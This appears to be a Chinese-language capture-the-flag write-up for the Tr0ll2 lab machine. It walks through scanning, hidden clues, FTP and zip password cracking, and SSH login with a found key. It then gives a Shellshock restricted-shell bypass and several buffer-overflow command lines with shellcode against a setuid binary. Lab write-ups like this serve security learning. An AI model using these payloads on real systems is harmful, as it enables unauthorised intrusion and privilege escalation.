首先扫描端口

image.png
image.png

扫目录,发现了这些东西,去访问一下

image.png
image.png

robots.txt 中有很多目录

image.png
image.png

去访问了一下,在
dont_bother
keep_trying
noob
ok_this_is_it
这四个目录下有图片,下载下来,发现 dont_bother 跟其他图片的 md5 不一样

image.png
image.png

用 winhex 看,最后有一行 Look Deep within y0ur_self for the answer
去访问一下,得到一个文件

image.png
image.png

文件中是一些 base64 编码后的东西

image.png
image.png

写个小脚本转一下

1
2
3
4
5
6
7
8
9
10
11
import base64
file = open('./flag.txt','r')
lines = file.readlines()
new=[]
for line in lines:
line=base64.b64decode(line)
new.append(line)
file_out=open('./flag_out.txt','w')
for line1 in new:
file_out.writelines(line1)
file_out.close()

用 ftp 协议去访问一下,使用 Tr0ll:Tr0ll 登录成功

image.png
image.png

下载下来,用刚才拿到的字典跑一下,瞬间出结果:ItCantReallyBeThisEasyRightLOL

image.png
image.png

用 winhex 打开压缩包里的文件,看上去是私钥

image.png
image.png

尝试去登陆 ssh -i noob noob@192.168.149.192
-i 是指定密钥的,我猜用户名就是 noob

image.png
image.png

但是提示说权限有问题?

image.png
image.png

说是我这个密钥权限太高了,那就改的小一点,wsl 改不了 windows 正常目录下的文件权限,拷到 wsl 自己的目录下改权限再试

image.png
image.png

用这种方式绕过:

1
ssh -i noob noob@192.168.149.192 '() { :;}; /bin/bash'

还是用 python 弄个交互的:python -c ‘import pty; pty.spawn(“/bin/bash”)’
嗷,涨知识了

image.png
image.png

在 /nothing_to_see_here/choose_wisely 中每个文件夹有二进制文件,都有 s 的权限

image.png
image.png

啊我吐了,nc 也不能用,git 也没有

执行第一个给我退出来了

image.png
image.png

试了一下第二个进入了困难模式??

image.png
image.png

第三个貌似是栈溢出

image.png
image.png

cyclic 算出偏移

image.png
image.png

过了一会文件又没了去了 door2… 被作者玩弄于股掌之间

image.png
image.png
1
./r00t $(python -c "print 'A' * 268 + '\x80\xfb\xff\xbf' + 'a' * 16  + '\xba\xa0\x7b\x18\x95\xdb\xcd\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0b\x31\x50\x15\x83\xe8\xfc\x03\x50\x11\xe2\x55\x11\x13\xcd\x0c\xb4\x45\x85\x03\x5a\x03\xb2\x33\xb3\x60\x55\xc3\xa3\xa9\xc7\xaa\x5d\x3f\xe4\x7e\x4a\x37\xeb\x7e\x8a\x67\x89\x17\xe4\x58\x3e\x8f\xf8\xf1\x93\xc6\x18\x30\x93'")

我就先拿大佬们的 payload 来打了,突然发现在这种情况先我都不知道咋分析,不知所措

image.png
image.png

我想把这个靶机的内容给提出来,直接拷到 /var/www 目录下,浏览器访问下载下来

查看 ubuntu 发行版本(在这里暂时记一下)

image.png
image.png

后来在本地做的

1
2
3
4
5
6
from pwn import *
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload=shellcode+'a'*(268-len(shellcode))+'\xc0\xd3\xff\xff'
print payload
1
./r00t $(python -c "print 'A' * 268 + '\x80\xfb\xff\xbf' + 'a' * 16  + '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'")

不是,为啥这样 👆 行,这样就 👇 不行

1
./r00t $(python -c "print 'A' * 268 + '\x70\xfb\xff\xbf'  + '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'")